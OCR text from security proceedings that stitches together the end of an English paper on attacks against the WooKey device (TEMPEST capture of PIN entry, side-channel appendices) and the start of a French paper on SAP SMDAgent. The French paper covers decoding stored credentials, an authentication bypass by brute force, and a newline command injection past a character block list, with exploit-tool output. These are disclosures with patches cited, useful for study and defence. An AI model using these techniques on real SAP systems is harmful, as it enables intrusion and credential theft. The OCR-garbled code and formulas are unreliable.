signal and validate the frequency. On Figure 36, we can observe the switch
occurring on the screen between a dark image and a bright one, done
by hand using Alt+Tab. The waterfall spectogram displays those waves
emitted at different frequencies depending on the data passing through
the wire. We can now tune TempestSDR on the matched frequency of
400 MHz. Figure 37 shows the screen on the right partially restored on
the left one.

Fig. 37. TempestSDR in action
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Although the evaluation center is not expert in such attacks, the ex-
periment has been reproduced in a couple of days and with fairly standard
equipment. This step had several purposes: first gaining hands-on expe-
rience with the hardware and software components used for TEMPEST
attacks and validate our setup. With the setup out of the way, it is possible
to focus on attacking the WooKey board itself.

19.3 Application to WooKey

In the context of the WooKey project, even though close-range
side-channel attacks are considered meaningful only during the pre-
authentication phase, TEMPEST attacks are also of interest during the
user authentication as they can be long-range and hence be performed
stealthily. A partial attack could be conducted by intercepting the radio
emissions from the WooKey platform.

The purpose of the following experiments is to retrieve the PetPIN
and UserPIN codes of the user at the moment they are entered on the
touch screen. The captured trace can be processed later to decode the
information. This would allow to recover the PetPIN and UserPIN, then
to complete the attack the attacker would need to steal the device from
the victim to extract the confidential data.

Fig. 38. Schematics of the SoC-Screen connection

WooKey is composed of two boards, one is the main SoC and the other
the TFT screen and its controller. The link between the main SoC and the
screen board is done by a 16 pins cable. The WooKey’s source code was
analyzed to understand the configuration of the hardware components:

— driver-i1i9341: ILI9341 TFT screen userspace driver

— driver-ad7843: AD7843 touchscreen userspace driver
These two drivers use functions of the userspace SPI driver
driver-stm32f4xx—-spi.

SPI (Serial Peripheral Interface) is a standard and pretty basic serial
communication interface. It uses 4 wires, clock, input/output and slave
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selection between devices. The Figure 38 allows to identify the SPI pins
on the cable between both boards. WooKey schematics (Figure 39) also
show that the touchscreen controller is connected to the SPI wires.

To microcontroller
+38Y3

Screen's pin
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=
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Fig. 39. SPI zoom on the screen board schematics

In order to conduct a TEMPEST attack on WooKey, the attacker will
have to listen the data exchanged on this cable at a rate of 6 MHz (from
the source code on Listing 17).

uint8_t tft_init (void)
{

#if CONFIG_WOOKEY_V1
spil_init (SPI_BAUDRATE_6MHZ) ;

#elif defined (CONFIG_WOOKEY_V2) || defined (CONFIG_WOOKEY_V3)
spi2_init (SPI_BAUDRATE_6MHZ) ;

Listing 17. SPI bus frequency in WooKey source code

To work with this rather low frequency (compared to HDMI), the
equipment has to be adapted:

— Radio receiver: USRP N210 (= 2,000 €)

— Board: LFRX DC-50 MHz (= 100 €)

— Antenna: ANT500 (= 30 €)

All the following experiments were conducted using GNU Radio Com-
panion. The antenna ANT500 has a minimal frequency of 75 MHz, it is
thus not appropriate to receive 6 MHz. The wavelength of a wave is A = %
where v is the speed of light and f the frequency of the wave. Indeed, to
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Fig. 40. Setup for TEMPEST attack on WooKey

obtain the length of a proper antenna the speed of light must be divided

by the frequency:
300,000,000 m/s

6,000,000 Hz 0™
This size can be cut off by a divider, so it is possible to find a regular size
antenna which is still acceptable for our requirements (although it might
be less accurate).
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Fig. 41. Inactive WooKey spectrogram

On Figure 41, the first observation can be made when WooKey is
powered on and its screen displays the PIN selection interface. The spec-
trogram is a waterfall plot that shows here a range of frequencies and
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Fig. 42. WooKey initialization spectrogram
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Fig. 43. WooKey usage spectrogram
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is able to show multiple signals on a period of time. The figure here
displays a history of 2 seconds. In this case, nothing happened, only usual
perturbations (white noise).

On Figure 42 the spectrogram shows emanations produced while the
WooKey boots up. When the evaluator enters a PIN code on the screen
and then presses the OK button, the screen is totally refreshed. Before
that, each press on a numbered key slightly changes its color for a short
time. These emanations are visible on the spectrogram on Figure 43 (to
obtain this the selected frequency is 5 MHz). It should be noted that
this signal is repeated approximately every 1 KHz. Figure 44 displays the
variation of this frequency over time.
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Fig. 44. Frequency variation over time

In the context of the Inter-CESTI challenge, the overall workload
allocated to the TEMPEST attack was four days. In this short time frame,
it was possible to demonstrate that the hardware components used by the
WooKey platform leak information in the form of EM emissions. These
emissions could potentially be captured by an attacker in order to recover
the victim’s PetPIN and UserPIN, which are both sensitive assets of the
WooKey product. Several tools, open source or not, are publicly available
and the required hardware is affordable. An analyst with modest expertise
will be able to setup and capture these signals.

However, to complete the attack, the adversary would need to analyze
the captured signal and ideally reconstruct SPI frames. The TEMPEST
study described in the current section should be completed with the
elements extracted from section 18 dedicated to the SPI communication
details. There are no public tools available for such analysis, and developing
a framework for long-range SPI decoding with noise requires time and
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expertise, yielding in the conclusion that the TEMPEST attack path is
residual in the context of the WooKey product. Although the vulnerability
is present, its exploitation would require an attack potential (i.e. time,
means and knowledge) beyond what is considered acceptable for the
product.

20 Conclusion

In this article, we have provided a methodological and technical feed-
back on the inter-CESTI challenge regrouping an overview of various
software, hardware and hybrid attacks conducted by the 10 I'TSEFs li-
censed for the french CSPN scheme. The WooKey project (the evaluation
target) provided a white box evaluation context thanks to its open-source
and open-hardware aspects: this allows advanced instrumentation tech-
niques, leveraging various attack paths optimizations on par with the
limited time frame constraints of the inter-CESTI challenge.

The results of the challenge exhibit that the three kinds of attacks
(software, hardware, hybrid) can be efficiently performed by the 10 ITSEFs
beyond the specialization of each one. Interesting attack paths that in-
volve software exploits, cryptographic weaknesses, side-channels and fault
injections have been notably found and exploited. As a matter of fact,
physical attacks have proven to be quite easily achievable using cheap and
accessible equipment (such as the ChipWhisperer, the ChipSHOUTER,
FPGA, etc.), demystifying the fact that such attacks require very advanced
adversaries with substantial means outside the CSPN scope.

First of all, this supports the fact that “Hardware devices with boxes”

alike targets must be studied and evaluated with all these attack paths in
mind (i.e. included in the threat model) to cover all the relevant security
aspects. Secondly, the results of the challenge also clearly encourage the
creation of a “Hardware Device” in the CSPN scheme: this is under
scrutiny within CCN, ANSSI’s Certification Body, with the inter-CESTI
feedback in mind.

Finally, the outcomes of the challenge have also been a great source
of betterment for the WooKey project. For the sake of transparency
and security improvement, all the attack paths and enhancement advice
provided by (and discussed with) the ITSEFs have been integrated in
recent commits.
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A ECDSA

The Elliptic Curve Digital Signature Algorithm (ECDSA) is a signature
scheme. It has been standardized in [23].

Input: private key d, an encoded integer m € [0, ¢ — 1] representing a message
Output: Signature (r, s)
B {1, t—1)
: @« [K]G
:r<4—xg modt
: if r =0 then
go to line 1
Einy < k7' mod t
$ < kiny(dr +m) mod ¢
. if s =0 then
go to line 1

—

© PN D Tk

—_
o

: return (1, s)

Algorithm 1. ECDSA Signature

B Main loop of the ECSM

This code comes from the file prj_pt_monty.c.

/* Main loop of Double and Add Always */
while (mlen > 0) {
int rbit_next;
--mlen;
/* rbit is r[i+1], and rbit_next is r[i] */
rbit_next = nn_getbit (&r, mlen);
/* mbit is m[i] x/
mbit = nn_getbit(m, mlen);
/* Double: T[r[i+1]] = ECDBL(T[r[i+1]]) %/
prj_pt_dbl_monty (&T[rbit], &T[rbitl]);
/% Add: T[1—r[i+1]] = ECADD(T[r[i+1]],T[2]) %/
prj_pt_add_monty (&T[1-rbit], &T[rbit], &TI[2]);
/x Tlr[i]] = T[d[i] ~ r[i+1]]
* NOTE: we wuse the low level nn_copy function here to awvoid
* any possible leakage on operands with prj_pt_copy
*
/
nn_copy (&(T[rbit_next].X.fp_val), &(T[mbit ~ rbit].X.fp_val));
nn_copy (&(T[rbit_next].Y.fp_val), &(T[mbit ~ rbitl].Y.fp_val));
nn_copy (&(T[rbit_next].Z.fp_val), &(T[mbit ~ rbit].Z.fp_val));
/* Update rbit %/
rbit = rbit_next;
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C SCA on WooKey’s HMAC-SHA256 details

The method used for performing the CPA could suggest that an error
on a lower byte will make the attack on next byte unfeasible. Indeed, for
instance, if Wt [0] best guess is not the correct value, the carry propagation
on T1[1] ason T2[1] and T3[1] will not be correct. Our tests showed that
the influence of the carry between two bytes of the same round is relatively
low. The attack succeeded on Wt [1] whereas Wt [0] had been changed with
bad values on purpose: the amount of traces to retrieve Wt [1] would be a
little bit higher than for Wt [0] but not so much. However if only one byte
is wrong at one round, it is completely impossible to find any byte of Wt at
the next round. This information could be used to go back to the previous
round and find the correct value. With this methodology we consider for
each byte only its contribution. The three other ones are considered as
noise even if lower bytes are already successfully retrieved. We have tried
a second methodology where we consider not only the HW of current byte
but also the HW of previous ones. So for Wt [1], the HW was computed
on 16 bits; for Wt [2], the HW was done on 24 bits and finally for Wt [3],
it was done on 32 bits. For Wt [1] and Wt [2], the correlation for correct
key was higher than with previous methodology but the correlation for
other keys are also higher. For Wt [3], the correct key was not the one
with the best correlation. We have two hypothesis which could explain
this behavior. The first one is that the HW model doesn’t completely fit
the leakage of the chip. The second one is that the distribution shape of
the HW on 8, 16, 24 or 32 bits is not the same. Considering only one byte,
the probability to be on a low or high HW value is not negligible. On 32
bits, when we attack Wt [3], the HW is more often on the center of the
distribution which doesn’t make it trivial to distinguish the values. This
assumption could be explored with simulations to see if it is real or not.
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Résumé. Dans les paysages SAP, le SAP Solution Manager (SOLMAN)
pourrait étre comparé & un controleur de domaine dans le monde Microsoft.
Il s’agit d’un systeme technique, connecté a tous les autres systémes SAP.
Si une entreprise souhaite utiliser pleinement les capacités du SOLMAN,
elle doit installer une application appelée ’Solution Manager Diagnostic
Agent’ (SMDAgent) sur chaque serveur ou se trouve un systéme SAP.
Dans cette présentation, nous décrirons le cheminement que nous avons
suivi lors de nos recherches sur ce SMDAgent. Les sujets abordés seront :
I'analyse de protocole réseau, le détournement d’authentification et le
contournement de liste noire qui conduisent & une exécution de commande
a distance non authentifiée. Nous fournirons les correctifs et les mesures
a prendre pour atténuer toutes les vulnérabilités.

1 Introduction

Avec plus de 437000 clients dans 180 pays, SAP est le leader mondial
des ERP. 87% des plus grosses entreprises mondiales utilisent SAP [1].
Parmi les dizaines de systemes proposés par SAP, 'un d’entre eux est
particuliérement intéressant d’un point de vue sécurité $1 le systéme SAP
Solution Manager [2] (SOLMAN). Contrairement aux autres systémes clas-
siques, celui-ci est un systéme dit technique, destiné aux administrateurs.
Il fournit de multiples fonctionnalités centralisées, comme la gestion des
utilisateurs, la surveillance en direct des systemes ou encore la vérification
des correctifs applicatifs manquants. De par leur fonction, les SOLMAN
sont des systémes connectés a tous les autres systémes SAP avec des
droits importants. Donc potentiellement une cible intéressante pour un
attaquant.

Afin d’étre efficace et non dépendant du type de systeme qu’il doit
contréler, le SOLMAN utilise un composant appelé SAP Solution Manager
Diagnostic Agent (SMDAgent). Ce composant est installé sur tous les
systemes SAP du paysage. Ses principales fonctions sont la surveillance
du systeme et la remontée de diagnostic.

Nous nous sommes intéressés a ce composant, car s’il était compromis,
il pourrait peut-étre permettre de remonter au SOLMAN... pour ensuite
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Do1 Qo1 PO1
o . . SAP Administrators
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Fig. 1. Communication entre Solman et ces Agents

compromettre ’ensemble du parc. De plus la portée d’'une attaque sur les
agents est large, car ce composant existe sur tous serveur hébergeant un
systeme SAP.

2 Etat de ’art

Il existe une documentation officielle sur le SMDAgent, mais elle ne
concerne que les parties installation, configuration et administration [3].
La partie dédiée a la sécurité se limite a la configuration de P4S (SSL sur
du P4).

L’unique publication de recherche indépendante de ce composant, et
du SOLMAN plus généralement, date de 2012 $1 'Inception of the SAP
Platform’s Brain’ par Juan Perez Etchegoyen [4]. Ce dernier a montré qu’il
était possible, & distance et sans authentification, d’accéder au 'Remote
Support Component’ (RSC) de 'agent et ainsi exécuter des commandes
OS. Depuis SAP AG a corrigé, en Octobre 2012 par le patch 1774568 [5],
en forgant 'authentification pour accéder au RSC.

3 Premier contact

Le SMDAgent n’est pas un systeme SAP a proprement parler. C’est
une application, utilisant le moteur SAP JAVA et dépourvu de base
de données. L’identifiant systéme est DAA, le numéro de systéme 98
et le répertoire d’installation dans /usr/sap/DAA. L’arborescence des
répertoires, tableau 1, est classique pour du SAP sauf pour le répertoire
SDMAgent.

L’agent possede 36 applications par défaut. Chaque ap-
plication permet d’effectuer une tiche pour le SOLMAN
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Chemin Description
/usr/sap/DAA/SYS Contient le kernel et la configuration de 'instance
/usr/sap/DAA/SMD98 Répertoire de l'instance

/usr/sap/DAA/SMD98/SMDAgent [Contient les applications de ’agent
/usr/sap/DAA/SMD98/script |Scripts d’administration et d’installation
/usr/sap/DAA/SMD98/work Fichiers de traces et de logs

Tableau 1. Répertoire globale

et est stockée dans wun répertoire suivant le schéma
./applications/com.sap.smd.agent.application.<nom>.<version>.
Comme le montre la listing 1.

.../applications/com.sap.smd.agent.application.sapstartsrv.remote_7

.20.8.0.20181204114919

./applications/com.sap.smd.agent.application.remoteos_7
.20.8.0.20181204114919

./applications/com.sap.smd.agent.application.global.
configuration_7.20.8.0.20181204114919

./applications/com.sap.smd.agent.application.remotesetup_7
.20.8.0.20181204114919

./applications/com.sap.smd.agent.application.wily_7
.20.8.0.20181204114919

Listing 1. Extrait répertoire application

A chaque application correspond un répertoire de configura-
tion, qui suit la méme logique de nommage, sans la version, dans
./applications.config/com.sap.smd.agent.application.<nom>.
Exemple sur le listing 2. Tout les fichiers configuration de ces répertoire
sont chiffrés.

./applications.config/com.sap.smd.agent.application.sapstartsrv.
remote
./applications.config/com.sap.smd.agent.application.remoteos
./applications.config/com.sap.smd.agent.application.global.
configuration
./applications.config/com.sap.smd.agent.application.remotesetup
./applications.config/com.sap.smd.agent.application.wily4java

Listing 2. Extrait répertoire configuration

Sous Linux et Unix, il existe un seul et unique utilisateur pour ce
SMDAgent : daaadm. C’est 'utilisateur administrateur de I'agent. C’est
aussi sous cet utilisateur que tournent les services listé dans le tableau 2.
Le fait d’avoir un port aléatoire sur un service n’est pas commun dans
le monde de SAP. D’ordinaire, les ports utilisés par SAP utilisent un
format connu [6]. De plus ne trouvant pas de documentation officielle sur
ce dernier, nous allons y consacrer une partie de notre étude.
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Port | Format Binaire Description

59813| 5xx13 sapstartsrv Standard SAP Management Console (MC)
64996| 6499x |jc.sapDAA__SMDA9S8|Service interne a ’agent

41026|Aléatoire jstart Non documenté

Tableau 2. Services exposés par ’agent

4 L’échec du SAP Secure Storage

Le SAP Secure Storage est un composant présent sur tous les systémes
SAP, y compris le SMDAgent, permettant de stocker des données sensibles
que l'application pourra récupérer pour effectuer certaines opérations.
Nous avons rapidement découvert que sur le SMDAgent, le SAP Secure
Storage n’est pas chiffré par défaut comme le montre le listing 3.

smdagent .orl.onapsis.com:daaadm 66> pwd

/usr/sap/DAA/SMDA98/SMDAgent/configuration

smdagent.orl.onapsis.com:daaadm 67> cat secstore.properties

#SAP Secure Store file - Don’t edit this file manually!

#Tue Oct 29 21:40:22 ART 2019

$internal/mode=Not encrypted

$internal/version=Ny4wMC4wMDAuMDAx

sld/usr=amF2YS5sYW5nL1NOcmluZ3w4fHNhcGFkbWluJCQkJCQkICQkICQkCg\=\=

sld/pwd=amF2YS5sYW5nL1NOcmluZ3wxNHx3UThjW2VYN3BkNGp+RiQkJCQkJAo \=

smd/agent/crypto/algo=
amF2YS5sYW5nL1NOcmluZ3wxMXXxERVN1ZGUoMTY4KSQkJICQkICQkJIJA\=\=

smd/agent/secretkey=
amF2YS5sYW5nL1NOcmluZ3wO00Hwx0TdmODYxZmQzZjE50DdmODV1IYTA3YWIOYWQ2
\r\nOTJhMTNiYTE2NDQzYzQ5YmJhODYkJCQkJCQkJICQkJICQ\=

smd/agent/certificate/pass=
amF2YS5sYW5nL1NOcmluZ3wz0Hx7NUIORTQ3RjEtNDAGMC1FQzY3LUUxMDAtMDAwW
\r\nMEMwQThFMTFDfSQk

Listing 3. SAP Secure Storage

En effet le parametre $internal/mode=Not encrypted signifie que
les entrées sont seulement encodées en base64. Il est donc possible de
récupérer I'ensemble du contenu du textitSAP Secure Storage de 1'agent,
comme dans le listing 4.

$internal/version = 7.00.000.001

sld/usr = java.lang.String|8|sapadmin$$$$$$$$$$$$

sld/pwd = java.lang.String|14|wQ8c[eX7pd4j~F$$$$$$

smd/agent/crypto/algo = java.lang.String|11|DESede (168) $$$$$$$8$$

smd/agent/secretkey = java.lang.String|48]197
£861fd3£1987£85ea07ab4ad692a13bal16443c49bba86$$$$$$85$88$

smd/agent/certificate/pass = java.lang.String|38|{5B4E47F1-47F0-ED67
-A200-124CC4ABE66F}$$

Listing 4. Le SAP Secure Storage décodé
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Seul I'utilisateur administrateur de I’agent, daaadm, a acces au fichier.
Cependant c’est un probléme de configuration par défaut de 'application
corrigé suite & nos recherches [7].

Les entrées les plus intéressantes sont smd/agent/crypto/algo et
smd/agent/secretkey, car elles permettent de déchiffrer les fichiers de
configuration des applications liées a 1’agent.

Les aglorithmes possibles sont : RC4(1024), Blowfish(448), Blow-
fish(256), DESede(168), AES, DES. L’utilisation d'un algorithme se fait
en fonction de la version de ’agent et des bibliotheques SAP disponibles
dans le noyau.

La secretkey est mise a jour a chaque démarrage de I’agent.

Aprés avoir déchiffré 1D’ensemble des fichiers de configura-
tion, nous avons trouvé que l'une de ces applications, appelée
com.sap.smd.agent.application.global.configuration contient des
parametres de sécurités critiques permettant d’accéder au systeéme lié a
I’agent, mais aussi de remonter au SOLMAN lui-méme.

#Tue Oct 29 21:40:21 ART 2019

BW/ITS/protocol=http

BW/client=001

BW/host=solman.orl.onapsis.com

BW/sysnum=00

BW/user=SM_TECH_ADM

BW/password=j Aw<y EmT*? _hwoc}8K)R>u‘z{ybo/~so>&N’=2Z

BW/rfc/password=-Fcq2&mUR7yyBS2=>N5=NrMSzuk ~/U6HJ ((tb27%\#

BW/rfc/user=SMD_RFC

BW/ownSystem=false

I74/abap/admin/pwd=wQ8c [eX7pd4j~F

I74/abap/admin/user=SAPADMIN

I74/abap/client=000

I74/abap/com/pwd=C’und’Vy4

I74/abap/com/user=SMDAGENT_S72

dcc.url=http\://solman.orl.onapsis.com\:50000/sap/bc/srt/scs/sap/
e2e_dcc_push?sap-client\=001

dpc.url=http\://solman.orl.onapsis.com\:50000/sap/bc/srt/scs/sap/
e2e_dpc_push?sap-client\=001

e2e .mai.password=\=X\#\=&k%&JFC]1d\\; " }CeJUwst8’_qd4-d_bBG3F95

e2e .mai.user=SM_EXTERN_WS

e2e.mailntern.password=56{Y90DJs <&*5!d-w(~49cXK2X-pUJ4bHZF_.Th8

e2e.mailntern.user=SM_INTERN_WS

introscope.em.connect.timeout.sec=30

saphostagent .supported.version=720,78

selfcheck/enable_dependency_mode=false

setup/defaultPassword=

wily.disable.saprouter=true

wily.em.ignore.mom.for.query=false

Listing 5. Fichier _Default_ Configuration.properties déchiffré
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En plus des informations de connexion nécessaires, des identifiants
importants sont accessibles. Dans I'exemple du listing 5, l'utilisateur
I74/abap/admin/user=SAPADMIN peux étre utilisé pour compromettre
le systéme SAP 174 qui se trouve sur la méme machine que I'agent. De
plus BW/user=SM_TECH_ADM possede des privileges suffisants pour compro-
mettre le SOLMAN se trouvant sur la machine BW/host.

Ces éléments de recherche nous ont confirmé que si 'agent était com-
promis alors il serait facile de remonter au SOLMAN lui-méme. C’est
pourquoi nous avons cherché a savoir si ¢’était possible.

5 Etude du service P4

Grace a strace, listing 6, nous avons découvert que le service derriere
le port aléatoire était un service P4.

18513 getsockname (14, {sa_family=AF_INET, sin_port=htons(41026),
sin_addr=inet_addr ("192.168.143.22")}, [16]) = 0

18513 recvfrom(14, "YV", 2, 0, NULL, NULL) = 2

18513 accept (64, <detached ...>

[...]

[pid 32337] sendto(67, "v1", 2, 0, NULL, 0) = 2

[pid 32337] sendto (67, "\xid", 1, 0, NULL, 0) 1

[pid 32337] sendto (67, "#p#4", 4, 0, NULL, O0) 4

[pid 32337] sendto (67, "None:192.168.143.22:13070", 25, 0, NULL, O0)
= 25

Listing 6. strace -p $(pidof jstart) -x -f -e trace=network -s 10000

Dans les précédentes versions de I'agent, avant 2012, le port était stan-
dardisé sur le modele 5xx04 ou xx était le numéro de systeme, soit 59804.
Cette standardisation est toujours de rigueur sur le systeme SOLMAN.

De plus ce protocole est utilisé par le SOLMAN pour communiquer
avec ses agents, comme le suggere d’ailleurs une connexion visible juste
apres le démarrage d’un agent.

Remarque importante : cette connexion existe tant que ’agent est
démarré.

L’étape suivante consistait a capturer et étudier ces communications,
figure 2.

Les résultats observés sont les suivants, détail en figure 3 : lorsque
I’agent démarre, il initie la communication P4 entre lui-méme et son
SOLMAN configuré. Une fois I’échange d’authentification effectué, le SOL-
MAN fournit un identifiant d’objet ainsi qu’une clé pour la communication
future.

Apreés quelques tests, nous avons pu comprendre certains champs et
proposer la structure en listing 7.
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Listing 7. Paquet P4

Le listing 8 montre un exemple de paquet envoyé par le SOLMAN a

son agent. Dans ce cas, il exécute la fonction 1_p4_getRuntimeStatus()
pour récupérer ’état de I’agent.
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00000000: 0000 4a00 0000 ffff ffff 5ald 8a0l bbbb ..J....... %ooooo
00000010: 0600 0000 005a 0000 0000 0000 1700 0031 ..... thooooooooo 1
00000020: 005f 0070 0034 005f 0067 0065 0074 0052 ._.p.4
00000030: 0075 006e 0074 0069 006d 0065 0053 0074 .u.n.t.
00000040: 0061 0074 0075 0073 0028 0029 0000 0050 .a.t.u
00000050: 0000 0001 5001 f02d 600000

Listing 8. Paquet getRuntimeStatus()

Si nous envoyons ce paquet capturé sur le service P4 de I'agent, cela
fonctionne. L’agent répond, croyant qu’il s’agit d’une demande du SOL-
MAN. Cependant l'identifiant d’objet, sa version et la clé changent &
chaque démarrage de 'agent. C’est a dire a chaque fois que la communi-
cation est réinitialisé.

Il est donc possible de communiquer avec 'agent via le port aléatoire,
mais une authentification est nécessaire.

6 Contournement d’authentification

6.1 La clé

Afin de mieux comprendre comment la clé est générée nous avons
effectué une centaine de redémarrages forcés de I'agent tout en capturant
les communications avec le SOLMAN. Nous avons pu faire les constatations
suivantes en comparant le contenu du paquet 1_p4_getRuntimeStatus() :

— Seuls les champs Object ID, Stub version, Key changent

— Les valeurs observées pour Object ID sont comprises entre 00 00

00 00 et 00 00 00 FF. Soit 255 possibilités.
— Les valeurs observées pour Stub version sont comprises entre 00
00 00 00 et 00 00 00 05. Soit 5 possibilités.
Premiere conclusion : il est possible de fabriquer des paquets P4 afin de
bruteforcer a distance ces deux champs. Cependant il est nécessaire de
renseigner le champs Key correctement pour effectuer cette attaque.

Concernant ce champs Key, les différentes valeurs observées sont dans
le tableau 3.

La clé est basée sur le temps! Plus précisément basée sur la date
et 'heure de l'initialisation de la communcation entre SOLMAN et son
agent. Cette communcation s’établit automatiquement quelques minutes
apres le démarrage du SOLMAN ou de 'agent. La encore, il serait possible
de bruteforcer cette clé a condition de savoir quand ils ont démarré.
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temps| valeurs |little endian| Décimal
Oxcclff02d | 0x2dfOlfcc |770711500
| Oxad2bf02d| 0x2df02bad |770714541
| 0xfe2bf02d | 0x2df02bfe |770714622
| 0x7a2cf02d| 0x2df02c7a |770714746
| 0x1a2df02d| 0x2df02dla |770714906
v |0xde3bf02d| 0x2df03bde |770718686
0xe83bf02d| 0x2df03be8 |770718696

Tableau 3. Extrait valeurs des clé

6.2 Date et heure de démarrage

Comme expliqué dans la partie Premier contact, un agent tourne sur le
moteur SAP JAVA. L’un des services standards de ce moteur est la 'SAP
Management Console’ (SAP MC). Ce service, dédié aux administrateurs,
expose des web services pour effectuer des taches d’administration a
distance sur le systeme, comme le démarrage, 'arrét ou encore ’acces aux
fichiers journaux. La plupart requierent une authentification.

Quelques unes, considérées comme non critiques, sont accessibles ano-
nymement. C’est le cas de la fonction ’GetProcessList’... qui permet de
savoir depuis quand les processus de I'instance fonctionnent.

Le listing 9 montre la réponse de cette fonction. Le champs startime
est exactement ce que nous cherchions.

<SO0AP-ENV:Body>
<SAPControl:GetProcessListResponse>
<process>
<item>
<name>jstart</name>
<description>J2EE Server</description>
<dispstatus>SAPControl -GREEN</dispstatus>
<textstatus>All processes running</textstatus>
<starttime>2019 10 29 07:04:12</starttime>
<elapsedtime>48:37:22</elapsedtime>
<pid>38924</pid>
</item>
</process>
</SAPControl:GetProcessListResponse>
</SO0AP-ENV:Body>

Listing 9. Réponse du SAP MC GetProcessList

6.3 Bruteforce

Avec ces informations et en utilisant le service P4 exposé sur le port
aléatoire de ’agent, il est donc possible d’effectuer une attaque par force
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brute de I'identifiant d’objet, de la version et de la clé, utilisés dans la
communication en place entre 'agent et le SOLMAN.

$ python3 smdagent_rce.py -t target -p 19054 -s solman -r 50204
[i] Trying retrieve Agent StartTime from SAP MMC on target:59813
[i] Agent start time : 2019-10-29 07:04:12

[i] Agent uptime (hours) : 45

[i] Trying retrieve Solman StartTime from SAP MMC on solman:50213
[i] Solman start time : 2019-10-08 11:54:54

[i] Solman uptime (hours) : 545

[i] Using Agent uptime (most recent)

[i] Retrieve Solman P4 Header id from solman:50204

[i] Solman Header id = 5a158a01

[i] Bruteforce P4 timestamp key on target:19054

[i] timestamp UTC : 1572332622

[i] timestamp with time zone : 1572321822

[i] From 1572321822 to 1572322122

[i] Number processes : 20

[i] Waitting for late threads...

[*] Agent P4 time key = 443b822f

[i] Bruteforce P4 object id and Stub version on target:19054

[i] Number processes : 20

[i] Waitting for late threads...
[*] Agent P4 Object id = 0000000700000000

Listing 10. Récupération de la clé (443b822f), de I'objet ID(00000007) et de la
version (00000000)

L’attaque prend quelques minutes. Il n’y a pas de trace de ’attaque
dans les fichiers journaux du composant, car le niveau de détail par défaut
est trop bas.

A partir de ces résultats, un attaquant peut créer ses propres paquets
P4 et appeler n’importe quelle fonction ou application de ’agent.

Cette attaque n’est plus possible depuis le patch 2845377 [8] car I’agent
n’expose plus de service P4.

7 Exécution de commande

7.1 L’application remoteos

L’une des applications activées par défaut sur 'agent, appelée 're-
moteos’, permet & un utilisateur authentifié sur le SOLMAN d’exécuter
des commandes OS sur le serveur ou l'agent est installé, avec les droits
de l'utilisateur administrateur de 'agent, daaadm. Une fois que nous
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avons compris & quel endroit dans le SOLMAN il est possible d’appeler
I’application remoteos de 'agent, nous avons pu capturer et étudier les
fonctions P4 concernés. Puis nous avons crééé nos propres paquets pour
reproduire cet appel a 'application.

7.2 Sécurité de remoteos

Une sécurité a été mise en place et les commandes possibles sont gérées
par une liste blanche. Cette liste, ou plutdt ce fichier de configuration, est
au format xml et se trouve dans le répertoire de I'application 'remoteos’.

Les administrateurs peuvent y ajouter des commandes spécifiques si
besoin. Par défaut, une vingtaine de commandes sont disponibles, telles
que ping, tracert, df, iostat, find, echo, etc. Un exemple de configuration
pour ping est donné dans le listing 11.

<Cmd key="os.ping" name="Ping" desc="Verifies IP-level connectivity
to another TCP/IP computer.">

<0sCmd ostype="WINDOWS" exec="ping" path="" param="true" runtime
="60">
<Exclude param=""-t$"/>
<Help ref="help.os.ping"/>
</0sCmd >
<0sCmd ostype="UNIX" exec="ping -c 4" path="" param="true" runtime
=II60II>
<Exclude param=""-(f|1)$"/>
<Help ref="help.os.ping"/>
</0sCmd >
</Cmd >

Listing 11. Exemple de configuration pour la commande ping

Les commandes prédéterminées sont listées, avec une option allouant
des parametres. S’ils sont actifs, une expression réguliere d’exclusion existe
pour filtrer ces parameétres.

De plus, deux listes de caracteres interdits, 'une pour Unix, 'autre
pour Windows, non modifiables celles-ci, sont gérées par I’application.

protected void filterParameters(String params) throws
RemoteOsException {
checkExcludeCharacter (params

"l");

checkExcludeCharacter (params, "&");
checkExcludeCharacter (params, ">");
checkExcludeCharacter (params, "<");
checkExcludeCharacter (params, ";");
checkExcludeCharacter (params, "\\");
checkExcludeCharacter (params, "‘");
checkExcludeCharacter (params, "’");
checkExcludeCharacter (params, "\n");

checkExcludeCharacter (params, "\r");
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checkExcludeCharacter (params, "$(");
checkExcludeCharacter (params, "!");
checkExcludeCharacter (params, "~");

checkExcludedParameters (params) ;

Listing 12. Liste des caracteres interdits Unix

7.3 Contournement

Au cours de nos tests, nous avons trouvé plusieurs méthodes diffé-
rentes, pour contourner cette sécurité et pouvoir exécuter n’importe quelle
commande OS sans restriction. Elles sont maintenant toutes corrigées
dans différents patchs [9,10].

L’une d’entre elles était le fait de forcer un saut de ligne sans utiliser
les caracteres d’échappements interdits. Ceci était possible, car nous
fabriquions manuellement les paquets P4, dans lesquels nous écrivions
directement le saut de ligne, comme dans le listing 13.

00000a10: 702e aced 0005 7400 076f 732e 7069 6e67 p..... t..os.ping
00000a20: 7400 0931 3237 2e30 2e30 2e31 0al0d 6964 t..127.0.0.1..id
00000a30: 7073 7200 136a 6176 612e 7574 696c 2e48 psr..java.util.H

Listing 13. Exemple de contournement

La suite de I'exploitation, apres ’attaque montrée dans le listing 10,
permet d’éxécuter des commandes OS en tant que daaadm et donc de
récupérer le continu du SAP Secure Storage pour ensuite déchiffrer les
fichiers de configuration du SMDAgent contenant les mots de passe pour
compromettre le SOLMAN.

[

[i] Agent P4 time key = 443b822f

[i] Bruteforce P4 object id on target:19054
[i] Number processes : 20

[i] Waitting for late threads...

[i] Agent P4 Object id = 0000000700000000
[i] Try to execute 0S cmd now.

target > pwd

/usr/sap/DAA/SMDA98/SMDAgent

target > id
uid=1005(daaadm) gid=1001(sapsys) groups=1001(sapsys) ,1000(sapinst)
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target > cat configuration/secstore.properties

#SAP Secure Store file - Don’t edit this file manually!

#Tue Oct 29 21:40:22 ART 2019

$internal/version=Ny4wMC4wMDAuMDAx

s1d/pwd=amF2YS5sYW5nL1NOcmluZ3wxNHx3UThjW2VYN3BkNGp+RiQkJCQkJAo \=

smd/agent/crypto/algo=
amF2YS5sYW5nL1NOcmluZ3wxMXXxERVN1ZGUoMTY4KSQkJICQkICQkJA\=\=

smd/agent/secretkey=
amF2YS5sYW5nL1NOcmluZ3wO0OHwx0TdmODYxZmQzZjE50DdmODV1IYTA3YWIOYWQ2
\r\nOTJhMTNiYTE2NDQzYzQ5YmJhODYkJCQkJCQkJICQkJICQ\=

sld/usr=amF2YS5sYW5nL1NOcmluZ3w4fHNhcGFkbWluJCQkJCQkICQkICQkCg\=\=

smd/agent/certificate/pass=
amF2YS5sYW5nL1NOcmluZ3wz0Hx7NUIORTQ3RjEtNDAGMC1FQzY3LUUxMDAtMDAwW
\r\nMEMwQThFMTFDfSQk

target >

Listing 14. Suite du listing 10, exemple d’exploitation
